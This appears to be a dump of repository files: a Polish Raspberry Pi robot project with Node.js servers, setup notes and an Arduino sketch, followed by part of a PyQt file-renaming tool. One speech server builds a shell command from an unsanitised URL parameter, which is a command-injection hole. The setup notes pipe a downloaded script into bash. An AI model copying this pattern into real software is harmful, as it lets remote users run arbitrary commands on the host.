silnikami\n- kamerฤ™\n- taล›mฤ™ 15 ลผyล‚ 30cm do kamery\n- uchwyt do serw micro Pan/Tilt\n- dwa micro serwa TowerPro SG-90 lub inne\n- ultradลบwiฤ™kowy czujnik odlegล‚oล›ci HC-SR04\n- uchwyt montaลผowy do czujnika odlegล‚oล›ci HC-SR04\n- akumulator/pakiet Li-Pol\n- gล‚oล›nik 0.1W\n\nUWAGA: Podล‚ฤ…czenie akumulatora przy zworce Motor Hat-a ustawionej na 5V spali Raspberry oraz sam sterownik!\n\n[Proces instalacji oprogramowania](./docs/instalacja.md)\n\nZaล‚oลผenia:\n\n- pojazd ma poruszaฤ‡ siฤ™ sterowany aplikacjฤ… na Androida z wykorzystaniem kontrolera do gier podล‚ฤ…czonego przez USB OTG do telefonu\n- w aplikacji na telefonie ma byฤ‡ dostฤ™pny podglฤ…d obrazu z kamery\n- czujnik odlegล‚oล›ci ma zabezpieczyฤ‡ pojazd przed uderzeniem w przeszkodฤ™ uruchamiajฤ…c na okoล‚o 20cm przed niฤ… automatyczne hamowanie\n- bardziej zaawansowane funkcje do opracowania to np. skanowanie kamerฤ… pomieszczenia w celu autonomicznego omijania przeszkรณd\n- Raspberry docelowo ma byฤ‡ Access Pointem (hostapd?) aby uzyskaฤ‡ bezpoล›redniฤ… ล‚ฤ…cznoล›ฤ‡.\n\n[Dyskusja na Facebook-u](https://www.facebook.com/groups/malinowepi/permalink/503939639776690/)\n\n___\nMaciej Tokarz ยฉ My-Poi!\n\n\n\n\n" }, { "alpha_fraction": 0.6194690465927124, "alphanum_fraction": 0.6415929198265076, "avg_line_length": 21.700000762939453, "blob_id": "351d8bacaee4091da9b089efc8a24e4fa4e759af", "content_id": "405572a1db14f0ec9995ac9f9485fd87dc86983a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 226, "license_type": "no_license", "max_line_length": 62, "num_lines": 10, "path": "/machina.spk/server.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var express = require('express')\nvar exec = require('child_process').exec\nvar app = express()\n\napp.post('/:text', function (req) {\n var cmd = 'espeak -v pl ' + req.params.text + ' 2>/dev/null'\n exec(cmd)\n})\n\napp.listen(8001)" }, { "alpha_fraction": 0.5548060536384583, "alphanum_fraction": 0.5843170285224915, "avg_line_length": 27.95121955871582, "blob_id": "418a6b7105b40c8cf915f5d4460652b02b088af9", "content_id": "7a62ed541d775999b63cfd6db597be2f0b1297c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1187, "license_type": "no_license", "max_line_length": 135, "num_lines": 41, "path": "/machina.prv/server.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var http = require('http');\nvar fs = require('fs');\nvar spawn = require('child_process').spawn;\n\nvar server = http.createServer(function (request, response) {\n response.writeHead(200, {\n 'Content-Type': 'multipart/x-mixed-replace; boundary=myboundary',\n 'Cache-Control': 'no-cache',\n 'Connection': 'close',\n 'Pragma': 'no-cache'\n });\n\n var args = ['--nopreview', '-w', '559', '-h', '283', '-q', '50', '-o', 'preview.jpg', '-t', '9999999', '-th', '0:0:0', '-tl', '100'];\n var proc = spawn('raspistill', args);\n var stop = false;\n\n response.connection.on('close', () => { \n stop = true;\n if (proc) proc.kill();\n });\n\n var sendPicture = () => {\n if (stop) return;\n\n fs.readFile('/home/pi/machina.prv/preview.jpg', (error, content) => {\n response.write('--myboundary\\r\\n');\n response.write('Content-Type: image/jpeg\\r\\n');\n response.write('Content-Length: ' + content.length + '\\r\\n');\n response.write('\\r\\n');\n response.write(content, 'binary');\n response.write('\\r\\n');\n setTimeout(sendPicture, 200);\n });\n };\n\n sendPicture();\n});\n\nserver.listen(8001, () => {\n console.log('Podglฤ…d uruchomiony na porcie 8001');\n});" }, { "alpha_fraction": 0.6914731860160828, "alphanum_fraction": 0.7363913059234619, "avg_line_length": 19.289575576782227, "blob_id": "fb247a674a58a158d78829a39f7c4b8f382fd4bb", "content_id": "81290a7e413853bd1b9023589c011a8bb8e11fa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5339, "license_type": "no_license", "max_line_length": 225, "num_lines": 259, "path": "/docs/instalacja.md", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "# Scenariusz przygotowania Raspberry Pi od strony programowej\n\n## Instalacja Raspbiana Jessie\n\nJako podstawฤ™ dziaล‚ania posล‚uลผy wersja:\n\n[Minimal image based on Debian Jessie](https://www.raspberrypi.org/downloads/raspbian/)\n\nPo zainstalowaniu naleลผy przejล›ฤ‡ do ustawieล„:\n```\nsudo raspi-config\n```\noraz\n\n- zmieniฤ‡ hasล‚o administratora-\n- ustawiฤ‡ autologowanie do konsoli\n- rozszerzyฤ‡ partycjฤ™ na caล‚ฤ… objฤ™toล›ฤ‡ karty\n- wล‚ฤ…czyฤ‡ kamerฤ™\n- wล‚aczyฤ‡ audio na jack-a\n- wล‚ฤ…czyฤ‡ SSH\n- wล‚ฤ…czyฤ‡ i2c\n- wล‚ฤ…czyฤ‡ GPIO Server\n- wล‚ฤ…czyฤ‡ Serial (jak po UART PuTTY)\n\n## Instalacja karty WiFi\n\nAby moลผna byล‚o poล‚ฤ…czyฤ‡ siฤ™ z Raspberry Pi warto skorzystaฤ‡ z karty WiFi \ni sprawiฤ‡ aby przy starcie nastฤ™powaล‚o automatyczne ล‚ฤ…czenie z naszฤ… sieciฤ…:\n```\nsudo nano /etc/wpa_supplicant/wpa_supplicant.conf\n\nnetwork={\n ssid=\"nazwa_sieci\"\n psk=\"hasล‚o\"\n}\n\n## Zmiana ustawieล„ na PL\n\n\n```\n## Instalacja Node.js\n```\nwget -O - https://raw.githubusercontent.com/sdesalas/node-pi-zero/master/install-node-v.last.sh | bash\nnode -v\n```\n\n## Uruchomienie api\nsudo nano /etc/systemd/system/machina.service\n\n[Service]\nWorkingDirectory=/home/pi/machina.api\nExecStart=/home/pi/machina.api/index.js\nRestart=always\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=machina\nUser=root\nGroup=root\nEnvironment=NODE_ENV=production\n[Install]\nWantedBy=multi-user.target\n\n\nsudo chmod u+rwx /etc/systemd/system/machina.service\nsudo systemctl enable machina\n\n---\nsudo nano /etc/rc.local\ncd /home/pi/machina.api\nnode index.js\n\n\n\n\n\n## Przygotowanie miejsca na aplikacje serwera\n\nDo pracy z plikami polecam: [WinSCP](https://winscp.net)\n```\nsudo mkdir /apps\nsudo mkdir /apps/machina.api\nsudo mkdir /apps/machina.spk\n```\nmachina.api (sterowanie pojazdem, kamerฤ…)\n```\ncd /apps/machina.api\nsudo -s\nsudo npm install i2c-bus\nsudo npm install pca9685\nsudo npm install express\nsudo npm install request\n```\nmachina.spk (odtwarzanie tekstรณw komunikatรณw)\n```\ncd ..\ncd machina.spk\nsudo npm install express\n\nsudo chown -R pi:pi /apps\n```\n\n## Ma mรณwiฤ‡\n```\nsudo apt-get install espeak\namixer sset PCM,0 100%\nespeak \"Hello, I am Espeak, the voice synthesizer\" 2>/dev/null\n```\n## Cordova (https://cordova.apache.org/docs/pl/latest/guide/cli/)\n```\nnpm install -g cordova\ncordova create machina.app nazwa_wydawcy Machina\ncd machina.app\ncordova platform add android --save\n\nd:\\Projekty\\Machina\\machina.app>cordova requirements\n\ncordova build\ncordova emulate android\ncordova run android\n```\n# Uruchomienie podglฤ…du z kamery:\nsudo nano /etc/rc.local\nraspistill --nopreview -w 300 -h 168 -vf -hf -q 50 -o /apps/stream/picture.jpg -tl 50 -t 9999999 -th 0:0:0 &\n\nexit 0\n\nmachina.prv (preview)\nsudo node /apps/machina.prv/server.js\nhttp://192.168.1.7:8003\n```\n## Linki\n```\nFilmy https://1drv.ms/f/s!AoVId-NDPgmihPZR0ijOLWl7qOKYgQ\nhttps://github.com/fivdi/pigpio\n```\n## Akumulatory\n```\nNapiฤ™cie minimalne bez obciฤ…ลผenia: 11,15V\n\n```\n\nW opracowaniu...\n\nz\n\nz\n\nz\n\nz\n\n## Serwa SG90\n```\nbrฤ…zowy przewรณd: GND (masa zasilania)\nczerwony przewรณd: Zasilanie 5 V\npomaraล„czowy przewรณd: sygnaล‚ PWM\n```\n## Czujnik odlegล‚osci SR04\n```\nhttp://uczymy.edu.pl/wp/blog/2016/01/20/hc-sr04/\nUWAGA! Echo trzeba obniลผyฤ‡ do 3,3V\n```\n\n```\n## Kolory\n```\nWiodฤ…cy rgb 0 114 198 hex 0072C6\n```\n## Rรณลผnoล›ci\n```\nUprawnienia roota\nsudo -s\n\nUsuniฤ™cie katalogu\nsudo rm -r /foo/foo\n\nAktualizacja\nsudo apt-get update # Fetches the list of available updates\nsudo apt-get upgrade # Strictly upgrades the current packages\nsudo apt-get dist-upgrade # Installs updates (new ones)\n\nSprzฤ…tanie\nsudo apt-get autoclean\nsudo apt-get clean\nsudo apt-get autoremove\n\nUsuwanie pakietu\nsudo apt-get remove <package> && sudo apt-get autoremove\n```\n\n\n## Podglฤ…d stare\n\n\n\nmkfifo fifo.500\n/opt/vc/bin/raspivid -o fifo.500 -t 0 -b 20000\n\n\n\n\ncat fifo.500 | nc.traditional 192.168.1.7 5000 &\n\n\n```\n???\nsudo apt-get install libav-tools\n???\n\nsudo -s\nsudo apt-get install git\n\ncd /usr/src\ngit clone git://git.videolan.org/x264\ncd x264\n./configure --host=arm-unknown-linux-gnueabi --enable-static --disable-opencl\nmake\nsudo make install\n\ncd /usr/src\ngit clone https://github.com/ffmpeg/ffmpeg.git\ncd ffmpeg\nsudo ./configure --arch=armel --target-os=linux --enable-gpl --enable-libx264 --enable-nonfree\nmake\nsudo make install\n\nraspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | ffmpeg -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /apps -f h264 -i -\n\nraspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | ffmpeg -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /dev/zero -f h264 -i - -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv rtmp://192.168.1.7:8003\n\nffmpeg raspivid\n\nTODO: dostroiฤ‡ podglฤ…d aby nie byล‚o lagรณw!\n\nOpcja z zapisem sekwencyjnym zdjฤ™ฤ‡:\n\nsudo mkdir /apps/stream\n\nsudo nano /etc/rc.local\n\nraspistill --nopreview -w 400 -h 225 -vf -q 30 -o /apps/stream/picture.jpg -tl 50 -t 9999999 -th 0:0:0 &\n\nraspistill --nopreview -w 300 -h 168 -vf -hf -q 50 -o /apps/stream/picture.jpg -tl 50 -t 9999999 -th 0:0:0 &\n\nexit 0\n\nPodglฤ…d\nsudo nano /etc/apt/sources.list\ndodaฤ‡\ndeb http://vontaene.de/raspbian-updates/ . main\n\nsudo apt-get install debian-keyring\ngpg --keyserver pgp.mit.edu --recv-keys 1F41B907\ngpg --armor --export 1F41B907 | sudo apt-key add -\n\nsudo apt-get update\nsudo apt-get install gstreamer1.0\n\napt-get install gstreamer-tools" }, { "alpha_fraction": 0.4603399336338043, "alphanum_fraction": 0.4886685609817505, "avg_line_length": 14.3695650100708, "blob_id": "00740366673dedbc6e9aeb443261bcd32168e57b", "content_id": "b5ab998273ddde24655b6b5f072505ecb53bf431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 706, "license_type": "no_license", "max_line_length": 42, "num_lines": 46, "path": "/machina.api/controllers/camera.controller.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "module.exports = function (pwm) {\n var self = this\n\n this.a\n this.b\n this.x\n this.y\n\n // var positionV = 0\n // var positionH = 0\n \n\n // this.setDefault = function () {\n // pwm.setPulseLength(0, positionV)\n // pwm.setPulseLength(1, positionH)\n // pwm.allChannelsOff()\n // }\n\n this.setMotors = function (a, b, x, y) {\n\n var i = 0\n\n self.a = a\n self.b = b\n self.x = x\n self.y = y\n\n if (self.y == 1) {\n pwm.setPulseLength(0, 1)\n }\n\n if (self.a == 1) {\n pwm.setPulseLength(0, -4)\n }\n\n if (self.x == 1) {\n for (i = 0; i < 10; i++) {\n pwm.setPulseLength(1, -8)\n }\n }\n\n if (self.b == 1) {\n pwm.setPulseLength(1, 1)\n }\n }\n}" }, { "alpha_fraction": 0.6351970434188843, "alphanum_fraction": 0.6535288691520691, "avg_line_length": 26.274999618530273, "blob_id": "0af332adfb1662c4e927ded3309c6c03f45f1ac7", "content_id": "42da1a898af49f1dbb6275bb3883989cf7211dd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1091, "license_type": "no_license", "max_line_length": 62, "num_lines": 40, "path": "/machina.app/src/app/services/gamepad.service.ts", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "import { Injectable } from '@angular/core';\n\n@Injectable()\nexport class GamepadService {\n gamepad: Gamepad;\n timestamp: number;\n axis0: number;\n axis1: number;\n axis2: number;\n axis3: number;\n a: number;\n b: number;\n x: number;\n y: number;\n lb: number;\n rb: number;\n\n constructor() {\n // this.gamepad = navigator.getGamepads()[1];\n // console.log(this.gamepad);\n // this.setGamepadValues();\n }\n\n setGamepadValues() {\n this.gamepad = navigator.getGamepads()[1];\n this.timestamp = this.gamepad.timestamp;\n this.axis0 = this.gamepad.axes[0];\n this.axis1 = this.gamepad.axes[1];\n this.axis2 = this.gamepad.axes[2];\n this.axis3 = this.gamepad.axes[3];\n // this.gamepadValues.a = this.gamepad.buttons[0];\n // this.gamepadValues.b = this.gamepad.buttons[1];\n // this.gamepadValues.x = this.gamepad.buttons[2];\n // this.gamepadValues.y = this.gamepad.buttons[3];\n // this.gamepadValues.lb = this.gamepad.buttons[6];\n // this.gamepadValues.rb = this.gamepad.buttons[7];\n\n requestAnimationFrame(() => { this.setGamepadValues(); });\n }\n}\n" }, { "alpha_fraction": 0.5131348371505737, "alphanum_fraction": 0.5499124526977539, "avg_line_length": 17.419355392456055, "blob_id": "162e28c90dac404d457be66fc49cf349976e70dd", "content_id": "3348f36f705160b107de8d7f20689339d6f00f9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 571, "license_type": "no_license", "max_line_length": 32, "num_lines": 31, "path": "/machina.ino/machina.ino", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "void setup()\n{\n pinMode(2, INPUT);\n pinMode(3, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n double channel[4];\n String result = \"\";\n\n channel[0] = pulseIn(2, HIGH);\n channel[1] = pulseIn(3, HIGH);\n channel[2] = pulseIn(4, HIGH);\n channel[3] = pulseIn(5, HIGH);\n\n result += \"{\\\"throttle\\\": \";\n result += channel[0];\n result += \", \\\"yaw\\\": \";\n result += channel[1];\n result += \", \\\"pith\\\": \";\n result += channel[2];\n result += \", \\\"roll\\\": \";\n result += channel[3];\n result += \"}\";\n\n Serial.println(result);\n}\n" } ]
17
mike7105/RenameFiles
https://github.com/mike7105/RenameFiles
e6cc50b9150ea83df7c2a9ecb584157b34bd987d
5dc1aefea90ccd5ce667f577b8c254fd6f783cc8
0a0e701c406ad4b30aa055b8e83a38b59d5f1aa0
refs/heads/master
2023-08-15T14:52:48.591776
2021-10-06T20:59:11
2021-10-06T20:59:11
414,353,345
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6688963174819946, "alphanum_fraction": 0.6845039129257202, "avg_line_length": 25.382352828979492, "blob_id": "68f05c121679cee6b145319373312cb878ae2fb1", "content_id": "03e6d9b9d82bf1b5b232b43928db0f3405a56c50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 946, "license_type": "no_license", "max_line_length": 76, "num_lines": 34, "path": "/renameFiles.py", "repo_name": "mike7105/RenameFiles", "src_encoding": "UTF-8", "text": "\"\"\"Rename files for current folder\nMihail Chesnokov 04.10.2021\"\"\"\n__version__ = 'Version:1.0'\n\nimport os\nimport sys\nfrom PyQt5 import QtGui, QtWidgets\n\nfrom modules.mainwindow import MainWindow\n\n\ndef resource_path(relative_path: str) -> str:\n \"\"\" Get absolute path to resource, works for dev and for PyInstaller\n\n :param relative_path: ะพั‚ะฝะพัะธั‚ะตะปัŒะฝั‹ะน ะฟัƒั‚ัŒ ะบ ั„ะฐะนะปัƒ\n :return: ั€ะตะฐะปัŒะฝั‹ะน ะฟัƒั‚ัŒ ะดะปั ั‚ะตัั‚ะฐ ะธ ะฟั€ะพะดะฐ\n \"\"\"\n if getattr(sys, 'frozen', False):\n # noinspection PyUnresolvedReferences,PyProtectedMember\n base_path = sys._MEIPASS\n else:\n base_path = os.getcwd()\n return os.path.join(base_path, relative_path)\n\n\ntry:\n app = QtWidgets.QApplication(sys.argv)\n app.setWindowIcon(QtGui.QIcon(resource_path(r\"modules\\ico\\ico256.png\")))\n window = MainWindow(__version__)\n window.show()\n sys.exit(app.exec_())\nexcept Exception as ex:\n print(ex)\n input()\n" }, { "alpha_fraction": 0.5970199108123779, "alphanum_fraction": 0.6002416014671326, "avg_line_length": 37.007652282714844, "blob_id": "9fa77329002ab7ddb6a071590a847f5a898e2916", "content_id": "b6c0cd06e21c5a7b3cff2bc033ff072fb2c7832e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15713, "license_type": "no_license", "max_line_length": 120, "num_lines": 392, "path": "/modules/MyWindow.py", "repo_name": "mike7105/RenameFiles", "src_encoding": "UTF-8", "text": "\"\"\"ะžัะฝะพะฒะฝะพะน ะบะพะผะฟะพะฝะตะฝั‚ ะฟั€ะธะปะพะถะตะฝะธั\"\"\"\nimport os\nimport re\nimport time\nimport glob\nimport shutil\n\nfrom PyQt5 import QtCore, QtWidgets, QtGui\n\nclass ClickedLabel(QtWidgets.QLabel):\n \"\"\"ะšะดะธะบะฐะฑะตะปัŒะฝะฐั ะฟะพ ะดะฒะพะนะฝะพะผัƒ ะฝะฐะถะฐั‚ะธัŽ Label\"\"\"\n doubleclicked = QtCore.pyqtSignal()\n\n def mouseDoubleClickEvent(self, event):\n \"\"\"\n ะกะพะฑั‹ั‚ะธะต ะดะฒะพะนะฝะพะณะพะฝะฐะถะฐั‚ะธั\n :param event: ัะพะฑั‹ั‚ะธะต\n \"\"\"\n super().mouseDoubleClickEvent(event)\n\n self.doubleclicked.emit()\n\nclass MyStandardItemModel(QtGui.QStandardItemModel):\n \"\"\"\n ะšะปะฐัั, ะฟะพะดะดะตั€ะถะธะฒะฐัŽั‰ะธะน ะฟะพะดะบั€ะฐัะบัƒ ัั‡ะตะนะบะธ\n \"\"\"\n _colorize = False\n\n def __init__(self, parent=None):\n super(MyStandardItemModel, self).__init__(parent)\n\n def setColorized(self, state):\n \"\"\"\n ะŸะพะดะบั€ะฐัˆะธะฒะฐั‚ัŒ ะธะปะธ ะฝะตั‚\n :param bool state: True or False\n \"\"\"\n self._colorize = state\n\n def data(self, index, role=QtCore.Qt.DisplayRole):\n \"\"\"\n ะฐะฟะดะตะนั‚ะธั‚ ะดะฐะฝะฝั‹ะต\n :param index: ะธะฝะดะตะบั\n :param role: ั€ะพะปัŒ\n :return:\n \"\"\"\n if role == QtCore.Qt.BackgroundColorRole and not self._colorize:\n return QtGui.QBrush()\n\n return super(MyStandardItemModel, self).data(index, role)\n\n# noinspection PyAttributeOutsideInit\nclass MyWindow(QtWidgets.QWidget):\n \"\"\"\n ะšะปะฐัั ะฟั€ะธะปะพะถะตะฝะธั\n \"\"\"\n\n def __init__(self, parent=None):\n\n QtWidgets.QWidget.__init__(self, parent)\n self.statusBar: QtWidgets.QStatusBar = parent.statusBar()\n\n self.vbox = QtWidgets.QVBoxLayout()\n\n # ะฑะปะพะบ ะดะปั ะฟะฐะฟะบะธ ั ั€ะตะทัƒะปัŒั‚ะฐั‚ะพะผ\n self.label1 = QtWidgets.QLabel(\"Current folder\")\n self.vbox.addWidget(self.label1)\n self.hbox = QtWidgets.QHBoxLayout()\n self.lePathImg = QtWidgets.QLineEdit()\n self.lePathImg.setReadOnly(True)\n self.hbox.addWidget(self.lePathImg)\n self.btnPathImg = QtWidgets.QPushButton(\"...\")\n self.btnPathImg.clicked.connect(self.on_open_result)\n self.btnPathImg.setToolTip(\"Press open folder for rename files\")\n self.hbox.addWidget(self.btnPathImg)\n self.vbox.addLayout(self.hbox)\n\n # ะฑะปะพะบ ั„ะธะปัŒั‚ั€ะฐั†ะธะธ\n self.hboxIDSet = QtWidgets.QHBoxLayout()\n self.hbox = QtWidgets.QHBoxLayout()\n self.gbFilters = QtWidgets.QGroupBox(\"Filters\")\n self.label2 = QtWidgets.QLabel(\"Extensions:\")\n self.label2.setToolTip(\"File extensions devided by | (ex. png|jpg|gif)\")\n self.hbox.addWidget(self.label2)\n self.leExt = QtWidgets.QLineEdit()\n self.leExt.setText(\"\")\n self.hbox.addWidget(self.leExt)\n self.gbFilters.setLayout(self.hbox)\n self.hboxIDSet.addWidget(self.gbFilters)\n\n # ะฑะปะพะบ ะฟะพ ั€ะตะณัƒะปัั€ะบะต\n self.hbox = QtWidgets.QHBoxLayout()\n self.gbRegEx = QtWidgets.QGroupBox(\"RegExp\")\n self.gbRegEx.setCheckable(True)\n self.gbRegEx.toggled.connect(lambda flag: self.gbSep.setChecked(not flag) if flag else flag)\n self.label3 = QtWidgets.QLabel(\"Find what:\")\n self.label3.setToolTip(\"Search part of the file name to replace\")\n self.hbox.addWidget(self.label3)\n self.leFind = QtWidgets.QLineEdit()\n self.leFind.setText(\"\")\n self.hbox.addWidget(self.leFind)\n self.label4 = QtWidgets.QLabel(\"Replace with:\")\n self.hbox.addWidget(self.label4)\n self.leReplace = QtWidgets.QLineEdit()\n self.leReplace.setText(\"\")\n self.hbox.addWidget(self.leReplace)\n self.gbRegEx.setLayout(self.hbox)\n self.hboxIDSet.addWidget(self.gbRegEx)\n\n # ะฑะปะพะบ ะฟะพ ั€ะฐะทะดะตะปะธั‚ะตะปัŽ\n self.hbox = QtWidgets.QHBoxLayout()\n self.gbSep = QtWidgets.QGroupBox(\"Separator\")\n self.gbSep.setCheckable(True)\n self.gbSep.setChecked(False)\n self.gbSep.toggled.connect(lambda flag: self.gbRegEx.setChecked(not flag) if flag else flag)\n self.label5 = QtWidgets.QLabel(\"Type separator\")\n self.label5.setToolTip(\"Split file name by separator and choose first part\")\n self.hbox.addWidget(self.label5)\n self.leSep = QtWidgets.QLineEdit()\n self.hbox.addWidget(self.leSep)\n self.gbSep.setLayout(self.hbox)\n self.hboxIDSet.addWidget(self.gbSep)\n\n self.vbox.addLayout(self.hboxIDSet)\n\n # ะฑะปะพะบ ั ั‚ะฐะฑะปะธั‡ะบะพะน ะธ ะผะพะดะตะปัŒัŽ ะดะปั ะดะฐะฝะฝั‹ั… ะธะท ะญะบัะตะปั\n self.tv = QtWidgets.QTableView()\n self.sti = MyStandardItemModel()\n self.tv.setModel(self.sti)\n self.vbox.addWidget(self.tv)\n # self.vbox.addStretch(1)\n\n # ะฑะปะพะบ ั ะบะฝะพะฟะบะฐะผะธ\n self.hbox = QtWidgets.QHBoxLayout()\n self.btnGet: QtWidgets.QPushButton = QtWidgets.QPushButton(\"&Get\")\n self.btnGet.clicked.connect(self.on_get)\n self.btnGet.setShortcut(\"Ctrl+G\")\n self.btnGet.setToolTip(\"Press to get file names (Ctrl+G)\")\n self.hbox.addWidget(self.btnGet)\n\n self.btnTry: QtWidgets.QPushButton = QtWidgets.QPushButton(\"&Try\")\n self.btnTry.clicked.connect(self.on_try)\n self.btnTry.setShortcut(\"Ctrl+T\")\n self.btnTry.setToolTip(\"Press to try (Ctrl+T)\")\n self.hbox.addWidget(self.btnTry)\n\n self.btnRun: QtWidgets.QPushButton = QtWidgets.QPushButton(\"&Run\")\n self.btnRun.clicked.connect(self.on_run)\n self.btnRun.setShortcut(\"Ctrl+R\")\n self.btnRun.setToolTip(\"Press to rename (Ctrl+R)\")\n self.hbox.addWidget(self.btnRun)\n\n self.btnQuit = QtWidgets.QPushButton(\"&Quit\")\n self.btnQuit.clicked.connect(self.parent().quitApp)\n # self.btnRun.setShortcut(\"Ctrl+Q\")\n self.hbox.addWidget(self.btnQuit)\n self.vbox.addLayout(self.hbox)\n\n # ะฑะปะพะบ ัะพ ัั‚ะฐั‚ัƒัะฐะผะธ\n self.progressBar = QtWidgets.QProgressBar()\n self.progressBar.setMinimum(0)\n self.progressBar.setFormat(\"%v from %m %p%\")\n # self.vbox.addWidget(self.progressBar)\n\n self.lblStatus = QtWidgets.QLabel()\n self.resPath = \"\"\n self.lblPerStatus = ClickedLabel()\n self.lblPerStatus.doubleclicked.connect(self.open_folder)\n self.lblPerStatus.setToolTip(\"Double click to open folder\")\n\n self.statusBar.addWidget(self.progressBar, 2)\n self.statusBar.addWidget(self.lblStatus, 1)\n self.statusBar.addPermanentWidget(self.lblPerStatus, 1)\n\n self.setLayout(self.vbox)\n\n # ะกะพะทะดะฐะตะผ ะบะฝะพะฟะบัƒ ะฟะฐะฝะตะปะธ ะทะฐะดะฐั‡\n # ะŸะพะปัƒั‡ะฐะตะผ ะธะฝะดะธะบะฐั‚ะพั€ ะฟั€ะพั†ะตััะฐ, ะทะฐะดะฐะตะผ ะตะณะพ ะฟะฐั€ะฐะผะตั‚ั€ั‹\n # ะธ ะดะตะปะฐะตะผ ะตะณะพ ะฒะธะดะธะผั‹ะผ\n self.progress = self.parent().progress\n\n self.rens = set()\n\n @QtCore.pyqtSlot()\n def open_folder(self):\n \"\"\"\n ะžั‚ะบั€ั‹ะฒะฐะตั‚ ะฟะฐะฟะบัƒ ั ะฟะตั€ะตะธะผะตะฝะพะฒะฐะฝะฝั‹ะผะธ ั„ะฐะนะปะฐะผะธ\n \"\"\"\n if self.resPath:\n os.startfile(self.resPath)\n\n @QtCore.pyqtSlot()\n def on_open_result(self):\n \"\"\"\n ะœะตั‚ะพะด ะพั‚ะบั€ั‹ะฒะฐะตั‚ ะฟะฐะฟะบัƒ ั ั„ะฐะนะปะฐะผะธ\n \"\"\"\n dirName = QtWidgets.QFileDialog.getExistingDirectory(\n caption='Folder for rename',\n directory=self.lePathImg.text() if self.lePathImg.text() else QtCore.QDir.currentPath())\n if dirName:\n self.lePathImg.setText(dirName)\n self.sti.clear()\n\n @QtCore.pyqtSlot()\n def create_resPath(self):\n \"\"\"\n ัะพะทะดะฐะตั‚ ะฟะฐะฟะบัƒ ะดะปั ะฟะตั€ะตะธะผะตะฝะพะฒะฐะฝะฝั‹ั… ั„ะฐะนะปะพะฒ\n \"\"\"\n self.resPath = os.path.normpath(os.path.join(\n self.lePathImg.text(), \"Renamed \" + time.strftime(\"%Y%m%d_%H%M%S\", time.localtime(self.startTime))))\n os.makedirs(self.resPath, exist_ok=True)\n self.lblPerStatus.setText(f\"{self.resPath}\")\n\n @QtCore.pyqtSlot()\n def on_get(self):\n \"\"\"\n ะกะพะฑะธั€ะฐะตั‚ ั„ะฐะนะปั‹ ั ั„ะธะปัŒั‚ั€ะฐะผะธ\n \"\"\"\n if not self.lePathImg.text():\n QtWidgets.QMessageBox.critical(self, \"Error\", \"Choose the folder for rename files\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return\n exts: list\n if self.leExt.text():\n exts = self.leExt.text().split(\"|\")\n else:\n exts = [\"*\"]\n files: list = []\n for ext in exts:\n files.extend(glob.glob(os.path.join(self.lePathImg.text(), f\"*.{ext}\")))\n # files = glob.glob(join(fPath, \"**\", \"*.txt\"), recursive=True)\n self.lblStatus.setText(f\"Get files from folders\")\n self.sti.clear()\n self.progressBar.reset()\n self.progress.reset()\n self.progressBar.setValue(0)\n self.progress.setValue(0)\n\n cols = [\"Name\", \"Ext\", \"Full Name\", \"Rename\"]\n\n for file in files:\n colsCurr = [QtGui.QStandardItem(os.path.splitext(os.path.basename(file))[0]),\n QtGui.QStandardItem(os.path.splitext(os.path.basename(file))[1]),\n QtGui.QStandardItem(os.path.basename(file)), QtGui.QStandardItem(\"\")]\n self.sti.appendRow(colsCurr)\n\n self.sti.setHorizontalHeaderLabels(cols)\n self.tv.resizeColumnsToContents()\n self.tv.setColumnWidth(3, self.tv.columnWidth(2))\n self.progressBar.setMaximum(self.sti.rowCount())\n self.progress.setMaximum(self.sti.rowCount())\n # self.btnRun.setDisabled(False)\n\n @QtCore.pyqtSlot()\n def on_try(self):\n \"\"\"\n ะŸั€ะพัั‚ะฐะฒะปัะตั‚ ะฝะพะฒั‹ะต ะธะผะตะฝะฐ ั„ะฐะนะปะพะฒ, ั‡ั‚ะพั‹ะฑ ะฟะพัะผะพั‚ั€ะตั‚ัŒ ะฒัะต ะปะธ ะฒ ะฟะพั€ัะดะบะต\n \"\"\"\n self.lblStatus.setText(f\"Try and revise column Rename\")\n self.rens.clear()\n if self.isValid(\"try\"):\n self.sti.setColorized(True)\n for i in range(0, self.sti.rowCount()):\n self.sti.item(i, 3).setText(\"\")\n txt = self.sti.item(i, 0).text()\n ren = \"\"\n\n if self.gbRegEx.isChecked():\n what = re.compile(self.leFind.text())\n res = self.leReplace.text()\n if what.search(txt):\n ren = what.sub(res, txt)\n\n if self.gbSep.isChecked():\n ren = txt.split(self.leSep.text())[0]\n\n ren = ren if ren else txt\n\n self.sti.item(i, 3).setText(ren)\n self.color_dup(self.sti.item(i, 3))\n\n QtWidgets.qApp.processEvents()\n # self.sti.endResetModel()\n\n @QtCore.pyqtSlot()\n def on_run(self):\n \"\"\"\n ะŸะตั€ะตะธะผะตะฝะพะฒั‹ะฒะฐะตั‚ ั„ะฐะนะปั‹\n \"\"\"\n\n if self.isValid():\n self.setAllDisabled()\n self.startTime = time.time()\n self.create_resPath()\n\n for i in range(0, self.sti.rowCount()):\n if 